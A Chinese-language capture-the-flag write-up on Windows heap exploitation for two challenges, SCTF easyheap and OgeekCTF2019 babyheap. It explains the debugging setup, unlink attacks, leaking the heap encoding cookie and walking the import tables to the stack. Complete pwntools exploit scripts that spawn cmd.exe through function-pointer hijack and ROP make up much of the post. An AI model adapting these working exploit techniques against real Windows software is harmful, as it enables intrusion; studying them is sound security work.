初探 Windows 用户态堆利用——SCTF-easyheap 和 OgeekCTF2019 babyheap wp

Posted on Apr 1, 2022

最近这段时间学习了一下 Windows heap 利用,大致感触为

  • Windows 的 heap 利用比起 Linux 要繁琐许多,因为 Windows 中并没有类似于 __free_hook 这些可以劫持执行流的指针,类似于 Linux got 表的 IAT 表也是只读的,所以要最终实现利用往往需要通过一系列冗长的 leak 找到栈地址然后 rop。
  • Windows 闭源,虽然微软提供了 pdb 文件,但是想要通过逆向搞懂整个流程还是很有逆向难度的,现在我只能跟着大佬们的总结学习流程,仿佛又回到了之前学 Linux heap exploit 之初看不懂源码意识流 pwn 的时候。

总共做了两道题,SCTF-easyheap 和 OgeekCTF2019 babyheap,两题都是 unlink 实现任意地址读写,不过前一题提供了函数指针可以直接劫持执行流,后者则需要 rop。

参考资料:

环境配置

我整理了一下用到的没用到的工具,放到了我的 GitHub 仓库

调试工具:

  • 在客户机内使用 windbg 调试
    • 微软官网下载符合自己 Windows 版本的 sdk 并安装即可。
    • 可以通过 windbg 便捷地下到各个 dll 的 pdb 文件,在 windbg 中的 [file] -> [Symbol File Path] 中添加 C:\symbols;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols(可能需要代理)
  • 远程调试:使用 ida

调试、利用环境

参考大师傅的文章使用 socat + pwntools + ida 进行调试利用。

  • 首先 socat 起服务

    • socat tcp-listen:8888,fork EXEC:target.exe,pipes
    • 根据版本不同,可能需要手动到防火墙里面把 socat 加到白名单中
  • 然后脚本头部加上 raw_input(),起脚本,连接后会停住

  • 这个时候用 ida 的远程调试 attach 到对应进程上,F9 继续执行,到脚本出敲下回车,脚本继续执行,执行到 ida 设置的断点处就会断下了

这种做法确实相对麻烦一些,并且由于我已经习惯了 gdb 的命令行式调试,所以其实初用 ida 调试是很不习惯的,不过这样可以避免每次开一台新的 win 虚拟机都重配一遍 python,使用原先 Linux pwn 的 pwntools 环境即可。

关于动态链接库,毕竟我们只是学习一下,不需要和原题的 dll 环境完全一致,保证大版本相同即可,而且实际上差别可能也只在偏移上,所以我就不去折腾换 Windows 的 dll 了(我估摸着也不太可能能像 Linux 那样随意换吧)。

另外,关于 Windows 的进程运行原理,建议参考《程序员的自我修养》Windows 相关章节,考虑到之前看这本书的时候偷了懒,其实我这方面的知识很散装,这里就不献丑了hhh。

SCTF-easyheap

利用环境为 win7 sp1

这道题目比较简单,漏洞点是一个 UAF + 一个堆溢出,当然,由于 UAF 品相非常好,所以堆溢出也没用上,类别 Linux ptmalloc2 的利用,利用其实就是一个 UAF leak + 一个 unlink。不过对于我这种对 Windows 一无所知的人来说,借着这道题,学习一些 Windows 的一些知识,也算挺有收获的。

利用

首先先分析程序,提供了五个方法

menu

其中 delete 方法没有把 free 掉的指针置零

without set-null

对于每个 Note 的结构,分析可得如下

struct note
{
  void* puts_ptr;
  char *content;
};

其中 puts_ptr 是一个函数指针,低四位被复用当作了 edit 时的大小。

别的部分逻辑都很好理解,这里不在赘述,只有 add 方法一个奇怪的 while 循环有点复杂,大概是编译器的什么优化吧。既然有 UAF,在 ptmalloc2 下我们很容易想到直接改 fastbin/tcache 的 next 直接任意地址分配,在 Windows 下虽然也有类似的单链表结构,在 Windows7 中也就是 LFH(Low Fragment Heap,低碎片堆) 了,不过这个东西开启有一定的条件,而且(至少在 win10 中)是随机分配的,不太稳定,这里还是利用后端堆管理器的 FreeHints(类似于 ptmalloc 中的 small bins)的 unlink 操作来实现利用。

这里的 unlink 操作和 ptmalloc 中并无特别大的区别,毕竟一个双链表脱链的操作还能有多大差别,参考前文提到的第二篇文章,可知该操作伪代码大致为

next = vent->Flink;
prev = vent->Blink;
if (prev->Flink != next->Blink || prev->Flink != vent)
{
  RtlpHeapReportCorruption(vent);
}
else
{
  prev->Flink = next;
  next->Blink = prev;
}

我们参考 ctf-wiki 对 unlink 的介绍即可。为了完成这一点,只要先把 heap 地址 leak 出来,这通过 free 后 show 即可,然后一次 unlink 即可完全控制 note 数组,另外 note 结构里面居然存了一个函数指针,再通过 show 即可 leak 出函数指针获得 image base。然后修改 content 指针读取 idata 段的 crt 函数地址,leak 出来即可算出 system 函数的地址,最后直接劫持 puts 函数指针为 system 即可 getshell。所以有 exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = "windows"

sh = remote("192.168.XXX.XXX", XXXX)

def add(size):
    sh.sendlineafter("option >", "1\n")
    sh.sendlineafter("size >", str(size) + "\r\n")

def delete(idx):
    sh.sendlineafter("option >", "2\n")
    sh.sendlineafter("index >", str(idx) + "\r\n")

def show(idx):
    sh.sendlineafter("option >", "3\n")
    sh.sendlineafter("index >\r\n", str(idx) + "\r\n")

def edit(idx, payload):
    sh.sendlineafter("option >", "4\n")
    sh.sendafter("index >", str(idx) + "\r\n")
    sh.sendafter("content  >", str(payload))


raw_input()

# first, leak the heap base
add(32) # 0
add(32) # 1
add(32) # 2
delete(1)
show(1)
heap_base = u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00')) - 0x630
log.success("heap_base: " + hex(heap_base))

# we want to unlink, so we first get the note array's address
note_array_addr = heap_base + 0x578
note_0 = note_array_addr
note_1 = note_array_addr + 8

edit(1, p32(note_1) + p32(note_1 + 4) + '\n')
add(32) # trigger unlink
# currently, note[1].content == &note[1].content
edit(1, p32(note_1 + 8)[:3] + '\n')
# currently, note[1].content == &note[1].content + 4
show(1)
image_base = u32(sh.recv(4)) - 0x1043
log.success("image_base: " + hex(image_base))

exit_idata_addr = image_base + 0x20B0

edit(1, p32(0) + p32(note_0) + p32(image_base + 0x1043) + p32(exit_idata_addr) + '\n') # here 0 - 1 = 0xFFFFFFFF
show(3) # leak the exit's addr
# setvbuf 100464D0 system 100EFDA0
exit_addr = u32(sh.recv(4).ljust(4, '\x00'))
log.success("exit_addr: " + hex(exit_addr))
system_addr = exit_addr - 0x100464D0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))

edit(2, p32(system_addr) + '\n')
edit(0, "cmd\x00\n")
show(0)

sh.interactive()

这个 exp 有小概率打不通,因为在 edit 功能会在末尾附加 \x00,需要保证 heap 地址小于 0x01000000。当然也可以保证 heap 大于 0x01000000 然后在 leak image addr 前不修改 content 指针,直接 show,由于 content 指针不会截断,可以直接 leak 出来 puts_ptr。不过我测试了一些堆地址大概率是小于 0x01000000 的,所以还是选择多 edit 一次。

OgeekCTF2019 babyheap

attachment

windows version

所以我特意装了个 Windows server 2019,Windows 10 nt heap 结构建议参考 angle boy 的 slide:Windows 10 Nt Heap Exploitation (chinese version)

程序的流程也不难逆,漏洞也很明显,就是 polish(edit 功能)中有堆溢出

polish

同时 add 时也有 off-by-one,但是没用上。另外输入都没有在末尾附加 '\x00'

另外开头送给了我们 image 的地址,同时还有一个我没用上的后面。

利用

和上题类似,我们使用 unlink,不过这里要实现 UAF 得通过堆溢出实现,所以得先把 _HEAP->Encoding leak 出来,打开 WinDbg-x86,open executable 调试 babyheap,使用 dt _HEAP 查看该字段位置

_HEAP

可以看到在 0x50 偏移处,当然我们没法直接把这个读出来,不过由于 xor 运算可逆,所以我们只要把某个 UserBlock 的 header leak 出来,xor 他的真实值即可算出该 encoding。使用这样的脚本 leak

add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)

sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] 
                    + '\x08')

通过调试,首先找到 _HEAP 结构体(这个结构体一般在 heap 段的头部,如果找不到可以先通过一个 freed block 的 flink 指针找到 FreeLists 字段的地址,32 位时该字段相对于 _HEAP 头的偏移为 0xC0,然后就可以获得 Encoding 了)的位置,然后找到 Encoding,然后可以算出对于 idx=1 的 UserBlock 的 header 其真实值为 0x0800000809010008

任意地址读写

那么之后的利用,一个自然的想法是 UAF 一个 freed Block,修改 Flink 和 Blink 指向进程 image 中的 content_array,然后 unlink 一打即可获得非法指针,但是由于此题存在一个 exist 数组判断每个 note 有没有被 free 过,所以这样不可行。另外,如果真的这么做,会发现用 win7 中 HeapAlloc 触发 unlink 的方法会 abort 掉,这是因为 win10 中加入了 ListHint 来加速对 FreeLists 的查找,HeapAlloc 时返回的 Block 被 ListHint 直接指向,这个时候会做检测,如果我们修改了 Block 的 Flink,Blink,就会被检出而 abort。

不过我们仍然可以修改某个 Block 的 header,伪造一个 freed Block,然后通过 Block 的合并实现 unlink。

引用 angel boy 的 slide

header

我打的版本的 Windows 的 size 字段和 angel boy 的 slide 描述的不同,不是 real_size >> 4 而是 real_size >> 3,所以对于 0x40 大小的 freed Block,size = 0x0008,flag = 0x00,SmallTagIndex = 0,后面的 4 个 byte 不变,由此可以写出 payload

payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)

这样在 free 伪造的 freed Block 的前一个 Block 时触发后向合并就会 unlink 了,为了不 abort,我们要保证该 Block 不被 ListHint 直接指向,当然他都没被 free 过肯定不会被直接指向,然后我们就获得了任意地址读写的能力

到此为止的脚本

...
raw_input()

sh.recvuntil("village gift : ")
image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090
log.success("image_base: " + hex(image_base))
note_array_addr = image_base + 0x4370

add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)

sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] 
                    + '\x08')
cookie = xor(xored_header, 0x0800000809010008)
log.success("xored header: " + hex(xored_header))
# cookie leaked
log.success("cookie: " + hex(cookie))


payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)

delete(4)
edit(1, 0x50, payload + '\n')
delete(1)

漫长的 leak 之路

之后就是要 leak 出 stack_addr,一般选择使用 teb 表中存有的栈指针来 leak

teb

而 teb 表和 peb 表的偏移通常是固定的,在 WinDbg 中,通过 r 指令即可查看

teb and peb

而 peb 则在 ntdll 中的 PebLdr 附近固定偏移处存有一个指针

PebLdr

所以我们只要 leak 出 ntdll 的地址就可以获得栈地址了。遗憾的是,babyheap 并没有从 ntdll 直接导入函数

import table

不过可以看到它导入了 KERNEL32 的函数,而 KERNEL32 导入了大量 ntdll 的函数,所以我们读取对于的 IAT,获得 KERNEL32 的基地址,再读其 IAT 获得 ntdll 基地址最后就可以获得 stack addr 了。

另外,通过 image 导入的 crt 函数,如 puts 我们可以 leak 出 system 的地址

这里的脚本为

# then follow the long leaking process
HeapCreate_IAT = image_base + 0x3000
edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
HeapCreate_addr = u32(sh.recv(4))
log.success("HeapCreate_addr: " + hex(HeapCreate_addr))
kernel32dll_base = HeapCreate_addr - 0x11FD0
log.success("kernel32dll_base: " + hex(kernel32dll_base))

NtCreateFile_IAT = kernel32dll_base + 0x719BC
edit(2, 0x50, p32(NtCreateFile_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
NtCreateFile_addr = u32(sh.recv(4))
log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr))
ntdll_base = NtCreateFile_addr - 0x6FBD0
log.success("ntdll_base: " + hex(ntdll_base))
PebLdr_addr = ntdll_base + 0x11FC40

peb_stored_addr = PebLdr_addr - 0x34
edit(2, 0x50, p32(peb_stored_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c
log.success("peb_addr: " + hex(peb_addr))

teb_addr = peb_addr + 0x3000
edit(2, 0x50, p32(teb_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("stack_end: " + hex(stack_end))
log.success("start search return addr")

edit(2, 0x50, p32(image_base + 0x30C8) + '\n')
show(3)
sh.recvuntil("Show : ")
puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("puts_addr: " + hex(puts_addr))
system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))

然后需要搜索栈,获得 main_ret 的地址,从后往前搜,搜到 main 函数返回的那个地址即可,这里是 image_base + 0x193B,这个过程需要挺长时间的

def read_every_where(addr):
    edit(2, 0x50, p32(addr) + '\n')
    show(3)
    sh.recvuntil("Show : ")
    return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00'))

main_ret_val = image_base + 0x193B
main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4
while 1:
    ret_val = read_every_where(main_ret_addr)
    log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val))
    if ret_val == main_ret_val:
        break
    main_ret_addr = main_ret_addr - 0x4

log.success("found main_ret_addr: " + hex(main_ret_addr))

找到之后 rop 即可,32 位 X86 是栈传参,gadget 也省得找了

最后的 exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from operator import xor
# context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

sh = remote("192.168.124.133", 8888)

def add(size, payload):
    sh.sendlineafter("choice?", "1")
    sh.sendlineafter("long is your sword?", str(size))
    sh.sendafter("Name it!", payload)

def delete(index):
    sh.sendlineafter("choice?", "2")
    sh.sendlineafter("to destroy?", str(index))

def edit(index, size, payload):
    sh.sendlineafter("choice?", "3")
    sh.sendlineafter("polish?", str(index))
    sh.sendlineafter("time?", str(size))
    sh.sendafter("name it again : ", payload)

def show(index):
    sh.sendlineafter("choice?", "4")
    sh.sendlineafter("check?", str(index))

def read_every_where(addr):
    edit(2, 0x50, p32(addr) + '\n')
    show(3)
    sh.recvuntil("Show : ")
    return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00'))

raw_input()

sh.recvuntil("village gift : ")
image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090
log.success("image_base: " + hex(image_base))
note_array_addr = image_base + 0x4370

add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)

sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] 
                    + '\x08')
cookie = xor(xored_header, 0x0800000809010008)
log.success("xored header: " + hex(xored_header))
# cookie leaked
log.success("cookie: " + hex(cookie))


payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)

delete(4)
edit(1, 0x50, payload + '\n')
delete(1)

# then follow the long leaking process
HeapCreate_IAT = image_base + 0x3000
edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
HeapCreate_addr = u32(sh.recv(4))
log.success("HeapCreate_addr: " + hex(HeapCreate_addr))
kernel32dll_base = HeapCreate_addr - 0x11FD0
log.success("kernel32dll_base: " + hex(kernel32dll_base))

NtCreateFile_IAT = kernel32dll_base + 0x719BC
edit(2, 0x50, p32(NtCreateFile_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
NtCreateFile_addr = u32(sh.recv(4))
log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr))
ntdll_base = NtCreateFile_addr - 0x6FBD0
log.success("ntdll_base: " + hex(ntdll_base))
PebLdr_addr = ntdll_base + 0x11FC40

peb_stored_addr = PebLdr_addr - 0x34
edit(2, 0x50, p32(peb_stored_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c
log.success("peb_addr: " + hex(peb_addr))

teb_addr = peb_addr + 0x3000
edit(2, 0x50, p32(teb_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("stack_end: " + hex(stack_end))
log.success("start search return addr")

edit(2, 0x50, p32(image_base + 0x30C8) + '\n')
show(3)
sh.recvuntil("Show : ")
puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("puts_addr: " + hex(puts_addr))
system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))

main_ret_val = image_base + 0x193B
main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4
while 1:
    ret_val = read_every_where(main_ret_addr)
    log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val))
    if ret_val == main_ret_val:
        break
    main_ret_addr = main_ret_addr - 0x4

log.success("found main_ret_addr: " + hex(main_ret_addr))

payload = p32(system_addr) + p32(0xDEADBEEF) 
payload += p32(main_ret_addr + 0x20) + p32(0)
payload = payload.ljust(0x20, '\xAA') + 'cmd.exe\x00'
edit(2, 0x50, p32(main_ret_addr) + '\n')
edit(3, 0x50, payload + '\n')
sh.sendlineafter("choice?", '5')

sh.interactive()

QQ截图20220404112505.png